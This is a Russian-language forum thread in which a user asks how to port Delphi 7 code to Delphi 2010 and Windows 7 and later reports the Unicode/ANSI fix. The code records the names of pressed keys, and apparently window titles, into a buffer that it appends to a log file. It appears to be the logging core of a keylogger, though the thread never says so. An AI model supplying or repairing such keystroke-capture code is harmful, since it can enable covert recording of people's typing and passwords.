Вот блок моего исходника, написанного когда-то на Delphi 7. Программа посредствам GetKeyNameText помещает значение нажатой клавиши в переменную Buffer. В связке Delphi 7 и Win XP все работает отлично. Под Win 7 в среде D2010 возникли проблемы - данные в файл возвращаются в неправильной кодировке. Из мануала узнал, что D2010 типы Char и PChar, которые ранее соответствовали AnsiChar и PAnsiChar, соответственно стали WideChar и PWideChar. Как следствие, все заголовочные файлы для работы с WinAPI изменены под юникод. Пытался Char и PChar заменить на AnsiChar и PAnsiChar - не вышло. GetKeyNameText и BlockWrite не хотят работать с AnsiChar. Подскажите, как исходник зделать совместимым с Win 7 и рабочим в D2010. Спасибо. var Buffer: array[0..1000] of char; SzKeyName: array[0..100] of char; //StrLen, StrCopy,StrEnd взяты из D7 (в D2010 они другие) function StrLen(const Str: PChar): Cardinal; assembler; asm mov edx, edi mov edi, eax mov ecx, 0FFFFFFFFh xor al, al repne scasb mov eax, 0FFFFFFFEh sub eax, ecx mov edi, edx end; function StrCopy(Dest: PChar; const Source: PChar): PChar; assembler; asm push edi push esi mov esi, eax mov edi, edx mov ecx, 0FFFFFFFFh xor al, al repne scasb not ecx mov edi, esi mov esi, edx mov edx, ecx mov eax, edi shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb pop esi pop edi end; function StrEnd(const Str: PChar): PChar; assembler; asm mov edx, edi mov edi, eax mov ecx, 0FFFFFFFFh xor al, al repne scasb lea eax, [edi-1] mov edi, edx end; function StrCat(Dest: PChar; const Source: PChar): PChar; begin StrCopy(StrEnd(Dest), Source); Result := Dest; end; procedure EmptyBuffer;//Крпирование буфера в файл var F: File; begin GenerateFileName; AssignFile(F, FileName); if FileExists(FileName) then begin Reset(F, 1); Seek(F, FileSize(F)); end else Rewrite(F, 1); BlockWrite(F, Buffer, StrLen(Buffer)); CloseFile(F); FillChar(Buffer, SizeOf(Buffer), chr(0)); end; procedure SaveData(D: PChar);//Заполнение буфера begin StrCat(Buffer, D) end; //Функция заполнения "SzKeyName" GetKeyNameText(lParam, SzKeyName, SizeOf(SzKeyName)); SaveData(SzKeyName);
А почему такая необходимость юзать 2010 (если не секрет)? Если у тебя уже готовый код, который работал на D7, то зачем его компилить в другой среде?
Я бы с удовольствием оставил как есть, но прога не корректно работает в Win 7. Видимо разработчики не зря в D2010 и в D2009 изменили типы char - значит этого потребовали изменения в самой ОС. Сами понимаете, Win XP - это вчерашний день, да и D7 тоже. Поэтому и прошу совета ))
Alexsis f начиная с 2000 винды все WinAPI функции в unicode. Если тебе не нравится формат выходного файла... после получения результата и записи его в файл. открой его преобразуй в ANSI и сохрани
Здесь в большей мере проблема не в том, в каком формате получить выходной файл, а в том, что большую часть текста не возможно прочесть ни в одной кодировке, а часть - можно. Вот я и думаю, что проблема в самом коде. к примеру при использовании GetWindowText(CWnd, SzKeyName, SizeOf(SzKeyName)) выходной текст вообще не читабелен ни в какой кодировке.
Всем огромное спасибо за советы. Изменил все заданные переменные Char на AnsiChar, сделал теже изменения в параметрах функций, заменил GetKeyNameText и GetWindowText на GetKeyNameTextA и GetWindowTextA соответственно. И все заработало!